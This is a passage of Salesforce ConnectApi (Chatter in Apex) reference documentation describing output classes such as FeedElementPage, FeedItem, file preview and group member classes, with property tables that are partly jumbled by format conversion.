A feed element capability, which defines the characteristics of a feed element.
In API versions 30.0 and earlier, every feed item can have comments, likes, topics, and so on. In versions 31.0 and later, every feed item (and feed element) can have a unique set of capabilities. If a capability property exists on a feed element, that capability is available, even if the capability property doesn’t have a value. For example, if the ChatterLikes capability property exists on a feed element (with or without a value), the context user can like that feed element. If the capability property doesn’t exist, it isn’t possible to like that feed element. A capability can also contain associated data. For example, the Moderation capability contains data about moderation flags.

This class is abstract.

This class is a superclass of:

- ConnectApi.AssociatedActionsCapability Class
- ConnectApi.ApprovalCapability Class
- ConnectApi.BannerCapability Class
- ConnectApi.BookmarksCapability Class
- ConnectApi.BundleCapability Class
- ConnectApi.CanvasCapability Class
- ConnectApi.CaseCommentCapability Class
- ConnectApi.ChatterLikesCapability Class
- ConnectApi.CommentsCapability Class
- ConnectApi.ContentCapability
- ConnectApi.DashboardComponentSnapshotCapability
- ConnectApi.EmailMessageCapability
- ConnectApi.EnhancedLinkCapability
- ConnectApi.LinkCapability
- ConnectApi.ModerationCapability Class
- ConnectApi.MuteCapability
- ConnectApi.OriginCapability
- ConnectApi.PollCapability Class
- ConnectApi.QuestionAndAnswersCapability Class
- ConnectApi.RecommendationsCapability
- ConnectApi.RecordSnapshotCapability
- ConnectApi.TopicsCapability Class
- ConnectApi.TrackedChangesCapability

This class doesn’t have any properties.

**ConnectApi.FeedElementPage Class**

A paged collection of ConnectApi.FeedElement objects.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>currentPageToken</td>
<td>String</td>
<td>Token identifying the current page.</td>
<td>31.0</td>
</tr>
<tr>
<td>currentPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the current page.</td>
<td>31.0</td>
</tr>
<tr>
<td>Property Name</td>
<td>Type</td>
<td>Description</td>
<td>Available Version</td>
</tr>
<tr>
<td>------------------------</td>
<td>--------------------------</td>
<td>-----------------------------------------------------------------------------</td>
<td>-------------------</td>
</tr>
<tr>
<td>elements</td>
<td>List&lt;ConnectApi.FeedElement Class&gt;</td>
<td>Collection of feed elements.</td>
<td>31.0</td>
</tr>
<tr>
<td>isModifiedToken</td>
<td>String</td>
<td>Reserved for future use.</td>
<td>31.0</td>
</tr>
<tr>
<td>isModifiedUrl</td>
<td>String</td>
<td>Reserved for future use.</td>
<td>31.0</td>
</tr>
<tr>
<td>nextPageToken</td>
<td>String</td>
<td>Token identifying the next page or <strong>null</strong> if there isn't a next page.</td>
<td>31.0</td>
</tr>
<tr>
<td>nextPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the next page or <strong>null</strong> if there isn't a next page. Check whether this value is <strong>null</strong> before getting another page. If a page doesn't exist, a ConnectApi.NotFoundException error is returned.</td>
<td>31.0</td>
</tr>
<tr>
<td>updatesToken</td>
<td>String</td>
<td>A token to use in a request to the ConnectApi.ChatterFeeds.getFeedElementsUpdatedSince method.</td>
<td>31.0</td>
</tr>
<tr>
<td>updatesUrl</td>
<td>String</td>
<td>A Chatter REST API feed resource containing the feed elements that have been updated since the feed was refreshed. If the feed doesn't support this feature, the value is <strong>null</strong>.</td>
<td>31.0</td>
</tr>
</tbody>
</table>

**ConnectApi.FeedEntityIsEditable**

Indicates if the context user can edit a feed element or comment.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>feedEntityUrl</td>
<td>String</td>
<td>URL of the feed element or comment.</td>
<td>34.0</td>
</tr>
<tr>
<td>isEditableByMe</td>
<td>Boolean</td>
<td><strong>true</strong> if the context user can edit the feed element or comment, <strong>false</strong> otherwise.</td>
<td>34.0</td>
</tr>
</tbody>
</table>

**ConnectApi.FeedFavorite Class**

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>community</td>
<td>ConnectApi.Reference</td>
<td>Information about the community that contains the favorite</td>
<td>28.0</td>
</tr>
<tr>
<td>createdBy</td>
<td>ConnectApi.User Summary</td>
<td>Favorite's creator</td>
<td>28.0</td>
</tr>
<tr>
<td>feedUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the feed item for this favorite</td>
<td>28.0</td>
</tr>
</tbody>
</table>
### ConnectApi.FeedFavorites Class

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>favorites</td>
<td>List&lt;ConnectApi.FeedFavorite&gt;</td>
<td>Complete list of favorites</td>
<td>28.0</td>
</tr>
<tr>
<td>total</td>
<td>Integer</td>
<td>Total number of favorites</td>
<td>28.0</td>
</tr>
</tbody>
</table>

### ConnectApi.FeedItem Class

Subclass of **ConnectApi.FeedElement Class** as of 31.0.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>actor</td>
<td>ConnectApi.Actor</td>
<td>The entity that created the feed item.</td>
<td>28.0</td>
</tr>
<tr>
<td>attachment</td>
<td>ConnectApi.FeedItem Attachment</td>
<td>Information about the attachment. If there is no attachment, returns null.</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>canShare</td>
<td>Boolean</td>
<td>true if the feed item can be shared, otherwise, false</td>
<td>28.0</td>
</tr>
</tbody>
</table>

**Important:** As of version 32.0, use the inherited capabilities property.
<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>clientInfo</td>
<td>ConnectApi.ClientInfo</td>
<td>Information about the connected app used to authenticate the connection.</td>
<td>28.0</td>
</tr>
<tr>
<td>comments</td>
<td>ConnectApi.CommentPage</td>
<td>First page of comments for this feed item.</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td><strong>Important:</strong> As of version 32.0, use the inherited capabilities.comments.page property.</td>
<td></td>
</tr>
<tr>
<td>event</td>
<td>Boolean</td>
<td>true if feed item is created due to an event change, false otherwise.</td>
<td>22.0</td>
</tr>
<tr>
<td>isBookmarked ByCurrentUser</td>
<td>Boolean</td>
<td>true if the current user has bookmarked this feed item, otherwise, false.</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td><strong>Important:</strong> As of version 32.0, use the inherited capabilities.bookmarks.isBookmarkedByCurrentUser property.</td>
<td></td>
</tr>
<tr>
<td>isDelete Restricted</td>
<td>Boolean</td>
<td>If this property is true the comment cannot be deleted by the context user. If it is false, it might be possible for the context user to delete the comment, but it is not guaranteed.</td>
<td>28.0</td>
</tr>
<tr>
<td>isLikedByCurrentUser</td>
<td>Boolean</td>
<td>true if the current user has liked this feed item, otherwise, false.</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td><strong>Important:</strong> As of version 32.0, use the inherited capabilities.chatterLikes.isLikedByCurrentUser property.</td>
<td></td>
</tr>
<tr>
<td>likes</td>
<td>ConnectApi.ChatterLikePage</td>
<td>First page of likes for this feed item.</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td><strong>Important:</strong> As of version 32.0, use the inherited capabilities.chatterLikes.page property.</td>
<td></td>
</tr>
<tr>
<td>likesMessage</td>
<td>ConnectApi.MessageBody</td>
<td>A message body the describes who likes the feed item.</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td><strong>Important:</strong> As of version 32.0, use the inherited capabilities.chatterLikes.likesMessage property.</td>
<td></td>
</tr>
<tr>
<td>moderationFlags</td>
<td>ConnectApi.ModerationFlags</td>
<td>Information about the moderation flags on a feed item. If</td>
<td>29.0–30.0</td>
</tr>
</tbody>
</table>
### ConnectApi Output Classes

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>ConnectApi.Features.communityModeration is <strong>false</strong>, this property is <strong>null</strong>.</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>myLike</td>
<td>ConnectApi.Reference</td>
<td>If the context user has liked the feed item, this property is a reference to the specific like, otherwise, <strong>null</strong>.</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>originalFeedItem</td>
<td>ConnectApi.Reference</td>
<td>A reference to the original feed item if this feed item is a shared feed item, otherwise, <strong>null</strong>.</td>
<td>28.0</td>
</tr>
<tr>
<td>originalFeedItemActor</td>
<td>ConnectApi.Actor</td>
<td>If this feed item is a shared feed item, returns information about the original poster of the feed item, otherwise, returns <strong>null</strong>.</td>
<td>28.0</td>
</tr>
<tr>
<td>photoUrl</td>
<td>String</td>
<td>URL of the photo associated with the feed item</td>
<td>28.0</td>
</tr>
<tr>
<td>preamble</td>
<td>ConnectApi.MessageBody</td>
<td>A collection of message segments, including the unformatted text of the message that you can use as the title of a feed item. Message segments include name, link, and motif icon information for the actor that created the feed item.</td>
<td>28.0–30.0</td>
</tr>
<tr>
<td>topics</td>
<td>ConnectApi.FeedItemTopicPage</td>
<td>Topics for this feed item.</td>
<td>28.0–31.0</td>
</tr>
</tbody>
</table>

**Important:** As of version 32.0, use the inherited `capabilities.chatterLikes.myLike` property.

**Important:** For API versions 29.0 and 30.0, use the `ConnectApi.FeedItem.preamble.text` property as the default case to render text. For API versions 31.0 and later, use the `ConnectApi.FeedElement.header.text` property as the default case to render text.
### type

**Name**: ConnectApi.FeedItemType

**Description**: Specifies the type of feed item, such as a content post or a text post.

**Available Version**: 28.0

**Important**: As of API version 32.0, use the `capabilities` property to determine what can be done with a feed item. See [Capabilities](#).

One of these values:

- **ActivityEvent**—Feed item generated in Case Feed when an event or task associated with a parent record with a feed enabled is created or updated.
- **AdvancedTextPost**—A feed item with advanced text formatting, such as a group announcement post.
- **ApprovalPost**—Feed item with an approval capability. Approvers can act on the feed item parent.
- **AttachArticleEvent**—Feed item generated when an article is attached to a case in Case Feed.
- **BasicTemplateFeedItem**—Feed item with an enhanced link capability.
- **CallLogPost**—Feed item generated when a call log is saved to a case in Case Feed.
- **CanvasPost**—Feed item generated by a canvas app in the publisher or from Chatter REST API or Chatter in Apex. The post itself is a link to a canvas app.
- **CaseCommentPost**—Feed item generated when a case comment is saved in Case Feed.
- **ChangeStatusPost**—Feed item generated when the status of a case is changed in Case Feed.
- **ChatTranscriptionPost**—Feed item generated in Case Feed when a Live Agent chat transcript is saved to a case.
- **CollaborationGroupCreated**—Feed item generated when a new public group is created. Contains a link to the new group.
- **CollaborationGroupUnarchived**—Deprecated. Feed item generated when an archived group is activated.
- **ContentPost**—Feed item with a content capability.
- **CreateRecordEvent**—Feed item that describes a record created in the publisher.
- **DashboardComponentAlert**—Feed item with a dashboard alert.
- **DashboardComponentSnapshot**—Feed item with a dashboard component snapshot capability.
- **EmailMessageEvent**—Feed item generated when an email is sent from a case in Case Feed.
- **FacebookPost**—Deprecated. Feed item generated when a Facebook post is created from a case in Case Feed.
- **LinkPost**—Feed item with a link capability.
- **MilestoneEvent**—Feed item generated when a case milestone is either completed or reaches a violation status. Contains a link to the case milestone.
- **PollPost**—Feed item with a poll capability. Viewers of the feed item are allowed to vote on the options in the poll.
- **ProfileSkillPost**—Feed item generated when a skill is added to a user’s profile.
- **QuestionPost**—Feed item generated when a question is asked. As of API version 33.0, a feed item of this type can have a content capability and a link capability.
- **ReplyPost**—Feed item generated by a Chatter Answers reply.
- **RypplePost**—Feed item generated when a user posts thanks.
- **SocialPost**—Feed item generated when a social post is created from a case in Case Feed.
- **TextPost**—Feed item containing text only.
- **TrackedChange**—Feed item created when one or more fields on a record have been changed.
- **UserStatus**—Deprecated. A user’s post to their own profile.
### ConnectApi.FeedItemAttachment Class

**Important:** This class isn't available in version 32.0 and later. In version 32.0 and later, `ConnectApi.FeedElementCapability Class` is used.

This class is abstract.

Subclasses:
- `ConnectApi.ApprovalAttachment Class`
- `ConnectApi.BasicTemplateAttachment Class`
- `ConnectApi.CanvasTemplateAttachment Class`
- `ConnectApi.EmailMessage Class`
- `ConnectApi CaseComment Class`
- `ConnectApi.ContentAttachment Class`
- `ConnectApi.DashboardComponentAttachment Class`
- `ConnectApi.FeedPoll Class`
- `ConnectApi.LinkAttachment Class`
- `ConnectApi.RecordSnapshotAttachment Class`
- `ConnectApi.TrackedChangeAttachment Class`

Message segments in a feed item are typed as `ConnectApi.MessageSegment`. Feed item capabilities are typed as `ConnectApi.FeedItemCapability`. Record fields are typed as `ConnectApi.AbstractRecordField`. These classes are all abstract and have several concrete subclasses. At runtime you can use `instanceof` to check the concrete types of these objects and then safely proceed with the corresponding downcast. When you downcast, you must have a default case that handles unknown subclasses.

**Important:** The composition of a feed may change between releases. Your code should always be prepared to handle instances of unknown subclasses.

### ConnectApi.FeedItemPage Class

**Important:** This class isn't available in version 32.0 and later. In version 32.0 and later, `ConnectApi.FeedElementPage Class` is used.

A paged collection of `ConnectApi.FeedItem` objects.
<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>currentPageToken</td>
<td>String</td>
<td>Token identifying the current page.</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>currentPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the current page.</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>isModifiedToken</td>
<td>String</td>
<td>Reserved for future use.</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>isModifiedUrl</td>
<td>String</td>
<td>Reserved for future use.</td>
<td>28.0–31.0</td>

<td>A Chatter REST API resource with a query string containing the value of the updatesToken property. The resource returns the feed items that have been updated since the last request. Use the URL as it is—do not modify it. Property is null if not available.</td>
<td>30.0–31.0</td>
</tr>
</tbody>
</table>

**ConnectApi.FeedItemTopicPage Class**

*Important:* This class isn’t available in version 32.0 and later. In version 32.0 and later, ConnectApi.TopicsCapability Class is used.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>canAssignTopics</td>
<td>Boolean</td>
<td>true if a topic can be assigned to the feed item, false otherwise</td>
<td>28.0–31.0</td>
</tr>
<tr>
<td>topics</td>
<td>List&lt;ConnectApi.Topic&gt;</td>
<td>List of topics</td>
<td>28.0–31.0</td>
</tr>
</tbody>
</table>

**ConnectApi.FeedPoll Class**

*Important:* This class isn’t available in version 32.0 and later. In version 32.0 and later, ConnectApi.PollCapability Class is used.

Subclass of ConnectApi.FeedItemAttachment Class

This object is returned as the attachment of ConnectApi.FeedItem objects where the type property is PollPost.
### ConnectApi.FeedPollChoice Class

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>id</td>
<td>String</td>
<td>Poll choice ID</td>
<td>28.0</td>
</tr>
<tr>
<td>position</td>
<td>Integer</td>
<td>The location in the poll where this poll choice exists. The first poll</td>
<td>28.0</td>
</tr>
<tr>
<td>text</td>
<td>String</td>
<td>Label text associated with the poll choice</td>
<td>28.0</td>
</tr>
<tr>
<td>voteCount</td>
<td>Integer</td>
<td>Total number of votes for this poll choice</td>
<td>28.0</td>
</tr>
<tr>
<td>voteCountRatio</td>
<td>Double</td>
<td>The ratio of total number of votes for this poll choice to all votes cast</td>
<td>28.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>in the poll. Multiply the ratio by 100 to get the percentage of votes</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>cast for this poll choice.</td>
<td></td>
</tr>
</tbody>
</table>

### ConnectApi.FieldChangeSegment Class

Subclass of ConnectApi.ComplexSegment Class

No additional properties.

### ConnectApi.FieldChangeNameSegment Class

Subclass of ConnectApi.MessageSegment Class

No additional properties.

### ConnectApi.FieldChangeValueSegment Class

Subclass of ConnectApi.MessageSegment Class

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>valueType</td>
<td>ConnectApi.FieldChangeValueType Enum</td>
<td>Specifies the value type of a field change:</td>
<td>28.0</td>
</tr>
<tr>
<td></td>

</tr>
<tr>
<td>checksum</td>
<td>String</td>
<td>MD5 checksum for the file</td>
<td>28.0</td>
</tr>
<tr>
<td>contentModifiedDate</td>
<td>Datetime</td>
<td>An ISO 8601 format date string, for example, 2011-02-25T18:24:31.000Z. File-specific modified date, which is updated only for direct file operations, such as rename. Modifications to the file from outside of Salesforce can update this date.</td>
<td>32.0</td>
</tr>
<tr>
<td>contentSize</td>
<td>Integer</td>
<td>Size of the file in bytes</td>
<td>28.0</td>
</tr>
<tr>
<td>contentUrl</td>
<td>String</td>
<td>If the file is a link, returns the URL, otherwise, the string “null”</td>
<td>28.0</td>
</tr>
<tr>
<td>description</td>
<td>String</td>
<td>Description of the file</td>
<td>28.0</td>
</tr>
<tr>
<td>downloadUrl</td>
<td>String</td>
<td>URL to the file, that can be used for downloading the file</td>
<td>28.0</td>
</tr>
<tr>
<td>fileExtension</td>
<td>String</td>
<td>Extension of the file</td>
<td>28.0</td>
</tr>
<tr>
<td>fileType</td>
<td>String</td>
<td>Type of file, such as PDF, PowerPoint, and so on</td>
<td>28.0</td>
</tr>
<tr>
<td>flashRenditionStatus</td>
<td>String</td>
<td>Specifies if a flash preview version of the file has been rendered</td>
<td>28.0</td>
</tr>
<tr>
<td>isInMyFileSync</td>
<td>Boolean</td>
<td>true if the file is synced with Salesforce Files Sync; false otherwise.</td>
<td>28.0</td>
</tr>
<tr>
<td>isMajorVersion</td>
<td>Boolean</td>
<td>true if the file is a major version; false if the file is a minor version. Major versions can't be replaced.</td>
<td>31.0</td>
</tr>
<tr>
<td>mimeType</td>
<td>String</td>
<td>File's MIME type</td>
<td>28.0</td>
</tr>
<tr>
<td>moderationFlags</td>
<td>ConnectApi.ModerationFlags</td>
<td>Information about the moderation flags on a file. If ConnectApi.Features.communityModeration is false, this property is null.</td>
<td>30.0</td>
</tr>
<tr>
<td>modifiedDate</td>
<td>Datetime</td>
<td>An ISO 8601 format date string, for example, 2011-02-25T18:24:31.000Z. Modifications to the file from within Salesforce update this date.</td>
<td>28.0</td>
</tr>
<tr>
<td>name</td>
<td>String</td>
<td>Name of the file</td>
<td>28.0</td>
</tr>
<tr>
<td>Name</td>
<td>Type</td>
<td>Description</td>
<td>Available Version</td>
</tr>
<tr>
<td>--------------------</td>
<td>-------------------------------</td>
<td>------------------------------------------------------------</td>
<td>-------------------</td>
</tr>
<tr>
<td>origin</td>
<td>String</td>
<td>Specifies the file source. Valid values are:</td>
<td>28.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Chatter—file came from Chatter</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Content—file came from content</td>
<td></td>
</tr>
<tr>
<td>owner</td>
<td>ConnectApi.User</td>
<td>File’s owner</td>
<td>28.0</td>
</tr>
<tr>
<td>pdfRenditionStatus</td>
<td>String</td>
<td>Specifies if a PDF preview version of the file has been rendered</td>
<td>28.0</td>
</tr>
<tr>
<td>publishStatus</td>
<td>ConnectApi.FilePublishStatus</td>
<td>Specifies the publish status of the file.</td>
<td>28.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• PendingAccess—File is pending publishing.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• PrivateAccess—File is private.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• PublicAccess—File is public.</td>
<td></td>
</tr>
<tr>
<td>renditionUrl</td>
<td>String</td>
<td>URL to the rendition for the file</td>
<td>28.0</td>
</tr>
<tr>
<td>renditionUrl240By180</td>
<td>String</td>
<td>URL to the 240 x 180 rendition resource for the file. For shared files, renditions process asynchronously after upload. For private files, renditions process when the first file preview is requested, and aren’t available immediately after the file is uploaded.</td>
<td>29.0</td>
</tr>
<tr>
<td>renditionUrl720By480</td>
<td>String</td>
<td>URL to the 720 x 480 rendition resource for the file. For shared files, renditions process asynchronously after upload. For private files, renditions process when the first file preview is requested, and aren’t available immediately after the file is uploaded.</td>
<td>29.0</td>
</tr>
<tr>
<td>sharingOption</td>
<td>ConnectApi.FileSharingOption</td>
<td>Sharing option of the file. Values are:</td>
<td>35.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Allowed—Resharing of the file is allowed.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Restricted—Resharing of the file is restricted.</td>

<td>ConnectApi.FileSharingType</td>
<td>Specifies the sharing role of the file:</td>
<td>28.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Admin—Owner permission, but doesn’t own the file.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Collaborator—Viewer permission, and can edit, change permissions, and upload a new version of a file.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Owner—Collaborator permission, and can make a file private, and delete a file.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Viewer—Can view, download, and share a file.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• WorkspaceManaged—Permission controlled by the library.</td>
<td></td>
</tr>
<tr>
<td>textPreview</td>
<td>String</td>
<td>Text preview of the file if available, null otherwise.</td>
<td>30.0</td>
</tr>
</tbody>
</table>
Available Version Description Type

28.0 Specifies the rendering status of the 120 x 90 preview image of the file. One of these values:
   • Processing—Image is being rendered.
   • Failed—Rendering process failed.
   • Success—Rendering process was successful.
   • Na—Rendering is not available for this image.

28.0 Specifies the rendering status of the 240 x 180 preview image of the file. One of these values:
   • Processing—Image is being rendered.
   • Failed—Rendering process failed.
   • Success—Rendering process was successful.
   • Na—Rendering is not available for this image.

28.0 Specifies the rendering status of the 720 x 480 preview image of the file. One of these values:
   • Processing—Image is being rendered.
   • Failed—Rendering process failed.
   • Success—Rendering process was successful.
   • Na—Rendering is not available for this image.

title String Title of the file 28.0
versionNumber String File’s version number 28.0

**ConnectApi.FilePreview**

A file preview.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
</table>
| format        | ConnectApi.FilePreviewFormat | The format of the preview. Values are:  
   • Pdf—Preview format is PDF.  
   • Svg—Preview format is compressed SVG.  
   • Thumbnail—Preview format is 240 x 180 PNG.  
   • ThumbnailBig—Preview format is 720 x 480 PNG.  
   • ThumbnailTiny—Preview format is 120 x 90 PNG. | 35.0              |
<p>| previewUrlCount | Integer     | The total number of preview URLs for this preview format.                   | 35.0              |</p>
<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>previewUrls</td>
<td>List&lt;ConnectApi.FilePreviewUrl&gt;</td>
<td>A list of file preview URLs.</td>
<td>35.0</td>
</tr>
</tbody>
</table>
| status        | ConnectApi.FilePreviewStatus | The availability status of the preview. Values are:  
• Available—Preview is available.  
• InProgress—Preview is being processed.  
• NotAvailable—Preview is unavailable.  
• NotScheduled—Generation of the preview isn’t scheduled yet. | 35.0 |
| url           | String | The URL for the file preview. | 35.0 |

**ConnectApi.FilePreviewCollection**

A collection of file previews.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>fileId</td>
<td>String</td>
<td>ID of the file.</td>
<td>35.0</td>
</tr>
<tr>
<td>previews</td>
<td>List&lt;ConnectApi.FilePreview&gt;</td>
<td>Previews supported for the file.</td>
<td>35.0</td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>URL to the current page of file previews.</td>
<td>35.0</td>
</tr>
</tbody>
</table>

**ConnectApi.FilePreviewUrl**

A URL to a file preview.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>pageNumber</td>
<td>Integer</td>
<td>The preview page number starting from zero, or null for PDFs.</td>
<td>35.0</td>
</tr>
<tr>
<td>previewUrl</td>
<td>String</td>
<td>The file preview URL.</td>
<td>35.0</td>
</tr>
</tbody>
</table>

**ConnectApi.FileSummary Class**

Subclass of ConnectApi.File Class

This class represents a summary description of a file.

**ConnectApi.FollowerPage Class**

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>currentPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the current page.</td>
<td>28.0</td>
</tr>
</tbody>
</table>
### Available Version

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>followers</td>
<td>List&lt;ConnectApi.Subscription&gt;</td>
<td>List of subscriptions</td>
<td>28.0</td>
</tr>
<tr>
<td>nextPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the next page or null if there isn’t a next page. Check whether this value is null before getting another page. If a page doesn’t exist, a ConnectApi.NotFoundException error is returned.</td>
<td>28.0</td>
</tr>
<tr>
<td>previousPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the previous page or null if there isn’t a previous page.</td>
<td>28.0</td>
</tr>
<tr>
<td>total</td>
<td>Integer</td>
<td>Total number of followers across all pages</td>
<td>28.0</td>
</tr>
</tbody>
</table>

#### ConnectApi.FollowingCounts Class

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>people</td>
<td>Integer</td>
<td>Number of people user is following</td>
<td>28.0</td>
</tr>
</tbody>
</table>
| records | Integer | Number of records user is following
Topics are a type of record that can be followed as of version 29.0. | 28.0              |
| total  | Integer | Total number of items user is following                                     | 28.0              |

#### ConnectApi.FollowingPage Class

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>currentPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the current page.</td>
<td>28.0</td>
</tr>
<tr>
<td>following</td>
<td>List&lt;ConnectApi.Subscription&gt;</td>
<td>List of subscriptions</td>
<td>28.0</td>
</tr>
<tr>
<td>nextPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the next page or null if there isn’t a next page. Check whether this value is null before getting another page. If a page doesn’t exist, a ConnectApi.NotFoundException error is returned.</td>
<td>28.0</td>
</tr>
<tr>
<td>previousPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the previous page or null if there isn’t a previous page.</td>
<td>28.0</td>
</tr>
<tr>
<td>total</td>
<td>Integer</td>
<td>Total number of records being followed across all pages</td>
<td>28.0</td>
</tr>
</tbody>
</table>
**ConnectApi.GenericBundleCapability Class**

If a feed element has this capability, the feed element has a group of other feed elements condensed into one feed element. This group is called a *bundle*.

Subclass of **ConnectApi.BundleCapability Class**.

**ConnectApi.GenericFeedElement Class**

A concrete implementation of the abstract **ConnectApi.FeedElement** class.

Subclass of **ConnectApi.FeedElement Class**

**ConnectApi.GlobalInfluence Class**

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>percentile</td>
<td>String</td>
<td>Percentile value for the user’s influence rank within the organization or community</td>
<td>28.0</td>
</tr>
<tr>
<td>rank</td>
<td>Integer</td>
<td>Number indicating the user’s influence rank, relative to all other users within the organization or community</td>
<td>28.0</td>
</tr>
</tbody>
</table>

**ConnectApi.GroupChatterSettings Class**

A user’s Chatter settings for a specific group.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>emailFrequency</td>
<td>ConnectApi.GroupEmailFrequency Enum</td>
<td>The frequency with which a group member receives email from a group.</td>
<td>28.0</td>
</tr>
</tbody>
</table>

**ConnectApi.GroupInformation Class**

Describes the “Information” section of the group. In the Web UI, this section is above the “Description” section. If the group is private, this section is visible only to members.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>text</td>
<td>String</td>
<td>The text of the “Information” section of the group.</td>
<td>28.0</td>
</tr>
<tr>
<td>title</td>
<td>String</td>
<td>The title of the “Information” section of the group.</td>
<td>28.0</td>
</tr>
</tbody>
</table>

**ConnectApi.GroupMember Class**

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>id</td>
<td>String</td>
<td>User’s 18-character ID</td>
<td>28.0</td>
</tr>
<tr>
<td>Name</td>
<td>Type</td>
<td>Description</td>
<td>Available Version</td>
</tr>
<tr>
<td>-------------------</td>
<td>---------------------</td>
<td>-----------------------------------------------------------------------------</td>
<td>-------------------</td>
</tr>
<tr>
<td>lastFeed</td>
<td>Datetime</td>
<td>The date and time at which the group member last accessed the group feed.</td>
<td>31.0</td>
</tr>
<tr>
<td>AccessDate</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>role</td>
<td>ConnectApi. GroupMembership Type Enum</td>
<td>Specifies the type of membership the user has with the group, such as group owner, manager, or member. • GroupOwner • GroupManager • NotAMember • NotAMemberPrivateRequested • StandardMember</td>
<td>28.0</td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>Chatter REST API URL to this membership</td>
<td>28.0</td>
</tr>
<tr>
<td>user</td>
<td>ConnectApi.User Summary</td>
